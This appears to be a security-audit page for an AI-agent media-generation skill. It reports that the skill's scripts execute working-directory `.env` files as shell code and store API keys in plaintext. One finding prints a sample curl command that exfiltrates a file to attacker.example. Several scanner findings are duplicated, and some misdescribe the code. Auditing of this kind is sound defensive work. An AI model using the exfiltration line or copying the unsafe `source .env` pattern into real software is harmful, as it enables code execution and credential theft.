Back to skill

Security audit

muapi-media-generation

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a real MuAPI media-generation skill, but it needs Review because its scripts can execute commands from a local .env file and store API keys insecurely.

Install only if you trust the publisher and will run it from a controlled directory. Do not run these scripts in projects or folders that may contain an untrusted .env file, avoid using --add-key, prefer setting MUAPI_KEY through your shell or a secret manager, and treat any file passed to --file, --audio-file, --video-file, or upload.sh as being sent to MuAPI/CDN.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
generate-image.sh:25
Finding
Arbitrary Code Execution Through Unsafe Loading of Working-Directory .env Files<![CDATA[ ## Vulnerability Details **File Locations**: - `generate-image.sh:25-26` - `generate-video.sh:23-24` - `image-to-video.sh:38` - `create-music.sh:39` - `upload.sh:27` **Vulnerability Type**: Unsafe shell configuration loading **Risk Level**: High ### Vulnerable Code `generate-image.sh:25-26`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `generate-video.sh:23-24`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `image-to-video.sh:38`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:39`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `upload.sh:27`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The scripts use the Bash `source` command to load `.env` from the current working directory. `source` does not parse the file as a passive collection of environment variable assignments. It evaluates the complete file as shell code. Consequently, a `.env` file can contain arbitrary commands, command substitutions, functions, redirections, or other shell constructs. For example, a malicious file could execute a command before assigning `MUAPI_KEY`: ```bash curl -X POST --data-binary @sensitive-file https://attacker.example/upload MUAPI_KEY=placeholder ``` The scripts locate `.env` relative to the caller's current working directory rather than a trusted, Skill-owned path. Therefore, invoking one of these scripts while the current directory contains an attacker-controlled `.env` causes that file to execute. Redirecting errors and appending `|| true` does not provide protection. It suppresses evidence of errors and allows execution to continue after a malicious command fails. ### Attack Path 1. An attacker places a malicious `.env` file in a project, shared directory, extracted archive, or other directory from which the user or Agent is likely to invoke the Skill. 2. The user or Agent starts ...[truncated 1297 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Do not evaluate `.env` with `source`, `.`, or `eval`. 2. Prefer requiring `MUAPI_KEY` to be supplied through the process environment or an operating-system credential manager. 3. If file-based configuration is necessary, use a fixed, trusted path rather than the current working directory. 4. Parse the configuration as data and accept only an exact, single-line `MUAPI_KEY` field. Reject shell syntax, command substitutions, multiline values, duplicate fields, and malformed records. 5. Verify that the configuration file is owned by the expected user and is not writable by group members or other users. 6. Require restrictive permissions, such as mode `0600`, before reading a credential file. 7. Do not suppress parsing or permission errors. Fail closed and provide a clear diagnostic. 8. Apply the correction consistently to all five affected scripts. A safer approach is to avoid reading a file entirely: ```bash if [[ -z "${MUAPI_KEY:-}" ]]; then echo "Error: MUAPI_KEY not set" >&2 exit 1 fi ``` If a credential file must be supported, use a dedicated parser that treats its contents strictly as data and never executes them. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
image-to-video.sh:23
Finding
Persistent Shell Injection and Plaintext Credential Exposure Through --add-key<![CDATA[ ## Vulnerability Details **File Locations**: - `image-to-video.sh:23-38` - `create-music.sh:23-39` **Vulnerability Type**: Configuration-file injection and insecure credential storage **Risk Level**: High ### Vulnerable Code `image-to-video.sh:23-38`: ```bash for arg in "$@"; do if [ "$arg" = "--add-key" ]; then shift KEY_VALUE="" if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi if [ -n "$KEY_VALUE" ]; then grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true mv .env.tmp .env 2>/dev/null || true echo "MUAPI_KEY=$KEY_VALUE" >> .env echo "MUAPI_KEY saved to .env" >&2 fi exit 0 fi done if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:23-39`: ```bash for arg in "$@"; do if [ "$arg" = "--add-key" ]; then shift KEY_VALUE="" if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi if [ -n "$KEY_VALUE" ]; then grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true mv .env.tmp .env 2>/dev/null || true echo "MUAPI_KEY=$KEY_VALUE" >> .env echo "MUAPI_KEY saved to .env" >&2 fi exit 0 fi done if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The `--add-key` feature writes `KEY_VALUE` directly into `.env` without validating that it is a single-line, shell-safe credential: ```bash echo "MUAPI_KEY=$KEY_VALUE" >> .env ``` A value containing a newline can append additional shell statements to the file. Because the same scripts subsequently load `.env` using `source`, those appended statements execute as shell code during a later invocation. For example, an attacker-contro ...[truncated 2520 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the `--add-key` feature and require credentials through a preconfigured environment variable or operating-system credential manager. 2. Never place user-controlled values into a file that will later be evaluated as shell code. 3. If file-based storage is unavoidable: - Enforce a strict, documented API-key character set and maximum length. - Reject carriage returns, line feeds, NUL bytes, whitespace, shell metacharacters, and command-substitution syntax. - Store the value in a non-executable data format. - Parse it with a dedicated parser rather than `source`. 4. Set `umask 077` before creating any credential or temporary file. 5. Create the final credential file with mode `0600` and verify its ownership before reading it. 6. Use `mktemp` in a trusted directory for atomic updates, then securely rename the completed file. 7. Add `.env` and related credential files to `.gitignore`, while documenting that source-control history and backups must not contain API keys. 8. Avoid accepting secrets on command lines because process listings and shell history may expose them. Use hidden interactive input such as `read -s`, standard input, or a credential-manager interface. 9. Rotate any API key previously stored by this mechanism if the directory, backups, or repository may have been accessible to others. 10. Apply the same remediation to both `image-to-video.sh` and `create-music.sh`. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (43)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The skill is presented as media generation, but documentation also includes uploading local files to a remote CDN. That mismatch matters because users may not expect local content exfiltration when invoking a supposedly generation-focused skill, increasing privacy and data-handling risk.

External Model or Provider Selection

High
Category
Excessive Agency
Content
bash generate-image.sh --prompt "a sunset over mountains" --model flux-dev --view

# Generate a video
bash generate-video.sh --prompt "ocean waves at golden hour" --model minimax-pro --view

# Animate an image
bash image-to-video.sh --image-url "https://..." --prompt "camera slowly pans right" --model kling-pro
Confidence
90% confidence
Finding
The skill allows selecting external models/providers such as minimax-pro and kling-pro, which means user data may be routed to third-party model backends with differing privacy, retention, and jurisdictional properties. This is not inherently malicious, but it is security-relevant because provider choice can change the data exposure surface without clear disclosure.

Credential Access

High
Category
Privilege Escalation
Content
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
Confidence
93% confidence
Finding
This code writes the API key into `.env`, creating local secret persistence that can be exposed through weak file permissions, shell history workflows, backups, or accidental repository commits. The issue is amplified because the script’s purpose does not require storing credentials on disk to function.

Credential Access

High
Category
Privilege Escalation
Content
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
Confidence
93% confidence
Finding
The temporary rewrite flow for `.env` manipulates credential-bearing files in the working directory without establishing secure permissions or trust boundaries. This increases the chance of credential disclosure through other local users, tooling, or accidental publication.

Credential Access

High
Category
Privilege Escalation
Content
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
Confidence
94% confidence
Finding
Appending `MUAPI_KEY` directly to `.env` stores a live secret in plaintext, making it recoverable by anyone with access to the project folder or derived artifacts. Plaintext storage is especially risky in developer environments where directories are commonly synced, backed up, or version-controlled.

Credential Access

High
Category
Privilege Escalation
Content
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
    fi
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
98% confidence
Finding
Beyond credential access, sourcing `.env` creates a code-execution primitive in the current directory context, where project files are often writable or inherited from external sources. In a terminal utility distributed to users, this significantly raises risk because running the script in an untrusted folder can execute attacker-controlled commands silently.

Credential Access

High
Category
Privilege Escalation
Content
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
98% confidence
Finding
Beyond credential access, sourcing `.env` creates a code-execution primitive in the current directory context, where project files are often writable or inherited from external sources. In a terminal utility distributed to users, this significantly raises risk because running the script in an untrusted folder can execute attacker-controlled commands silently.

Credential Access

High
Category
Privilege Escalation
Content
MAX_WAIT=300
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do
Confidence
95% confidence
Finding
This line implicitly trusts a repository-local .env file and evaluates it as shell, enabling command execution and environment manipulation before any validation occurs. In a skill context where users may clone and run scripts directly, this increases the chance of accidental execution of malicious content bundled nearby or dropped into the working directory.

Credential Access

High
Category
Privilege Escalation
Content
POLL_INTERVAL=3

# Check for .env and setup
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do
Confidence
95% confidence
Finding
This line implicitly trusts a repository-local .env file and evaluates it as shell, enabling command execution and environment manipulation before any validation occurs. In a skill context where users may clone and run scripts directly, this increases the chance of accidental execution of malicious content bundled nearby or dropped into the working directory.

Credential Access

High
Category
Privilege Escalation
Content
ACTION="generate"
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
Confidence
97% confidence
Finding
The script sources a local .env file as shell code, not as data, which means any commands embedded in .env will execute with the user's privileges. In an agent/skill context, this is dangerous because the current working directory may be attacker-influenced, turning simple credential loading into arbitrary code execution and credential theft.

Credential Access

High
Category
Privilege Escalation
Content
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do
Confidence
98% confidence
Finding
This finding is the same underlying issue as the other line-25 match: loading .env via `source` treats attacker-controlled file contents as executable code. In a terminal skill, that materially increases danger because users may run the script from untrusted repositories or directories containing a poisoned .env file.

Credential Access

High
Category
Privilege Escalation
Content
REQUEST_ID=""

# Check for .env
if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

# Parse arguments
while [[ $# -gt 0 ]]; do
Confidence
98% confidence
Finding
This finding is the same underlying issue as the other line-25 match: loading .env via `source` treats attacker-controlled file contents as executable code. In a terminal skill, that materially increases danger because users may run the script from untrusted repositories or directories containing a poisoned .env file.

Credential Access

High
Category
Privilege Escalation
Content
if [[ -n "$1" && ! "$1" =~ ^-- ]]; then KEY_VALUE="$1"; fi
        if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
Confidence
92% confidence
Finding
The script accesses and modifies a local .env file to persist an API credential, which creates a plaintext secret at rest. If the file is readable by other local users or is accidentally committed or archived, the credential can be stolen and abused.

Credential Access

High
Category
Privilege Escalation
Content
if [ -z "$KEY_VALUE" ]; then echo "Enter your muapi.ai API key:" >&2; read -r KEY_VALUE; fi
        if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
Confidence
92% confidence
Finding
Moving the temporary .env file back into place preserves plaintext credential storage without any permission hardening or validation. This extends the exposure window for a sensitive API key and increases the chance of leakage through local filesystem access or developer workflows.

Credential Access

High
Category
Privilege Escalation
Content
if [ -n "$KEY_VALUE" ]; then
            grep -v "^MUAPI_KEY=" .env > .env.tmp 2>/dev/null || true
            mv .env.tmp .env 2>/dev/null || true
            echo "MUAPI_KEY=$KEY_VALUE" >> .env
            echo "MUAPI_KEY saved to .env" >&2
        fi
        exit 0
Confidence
95% confidence
Finding
Appending MUAPI_KEY directly into .env stores the secret in cleartext and may leave it exposed to accidental disclosure through source-control commits, logs, backups, or shared workspaces. In the context of an API client, this is a real credential protection weakness even if not overtly malicious.

Credential Access

High
Category
Privilege Escalation
Content
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
88% confidence
Finding
Loading credentials from .env at runtime is normal, but using shell source on a writable local file makes credential access more dangerous by turning configuration input into executable code. In shared or untrusted directories this can lead to local code execution and credential compromise.

Credential Access

High
Category
Privilege Escalation
Content
fi
done

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi

while [[ $# -gt 0 ]]; do
    case $1 in
Confidence
88% confidence
Finding
Loading credentials from .env at runtime is normal, but using shell source on a writable local file makes credential access more dangerous by turning configuration input into executable code. In shared or untrusted directories this can lead to local code execution and credential compromise.

Credential Access

High
Category
Privilege Escalation
Content
if [ -z "$FILE" ]; then echo "Error: --file is required" >&2; exit 1; fi

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi
if [ -z "$MUAPI_KEY" ]; then echo "Error: MUAPI_KEY not set" >&2; exit 1; fi

MUAPI_BASE="https://api.muapi.ai/api/v1"
Confidence
97% confidence
Finding
Sourcing .env executes it as shell code, not merely parses key-value pairs, so a malicious or tampered .env file can run arbitrary commands in the user's shell context. Because this occurs automatically before the upload, anyone who can place or modify .env in the working directory can achieve code execution and potentially steal the API key or other local secrets.

Credential Access

High
Category
Privilege Escalation
Content
if [ -z "$FILE" ]; then echo "Error: --file is required" >&2; exit 1; fi

if [ -f ".env" ]; then source .env 2>/dev/null || true; fi
if [ -z "$MUAPI_KEY" ]; then echo "Error: MUAPI_KEY not set" >&2; exit 1; fi

MUAPI_BASE="https://api.muapi.ai/api/v1"
Confidence
97% confidence
Finding
Sourcing .env executes it as shell code, not merely parses key-value pairs, so a malicious or tampered .env file can run arbitrary commands in the user's shell context. Because this occurs automatically before the upload, anyone who can place or modify .env in the working directory can achieve code execution and potentially steal the API key or other local secrets.

Lp3

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding
The skill advertises multiple shell scripts but does not declare any tool scope such as allowed tools or permissions. In an agent environment, this weakens policy enforcement and makes it harder for users or platforms to understand that the skill invokes shell commands and external network operations.

Static analysis

No suspicious patterns detected.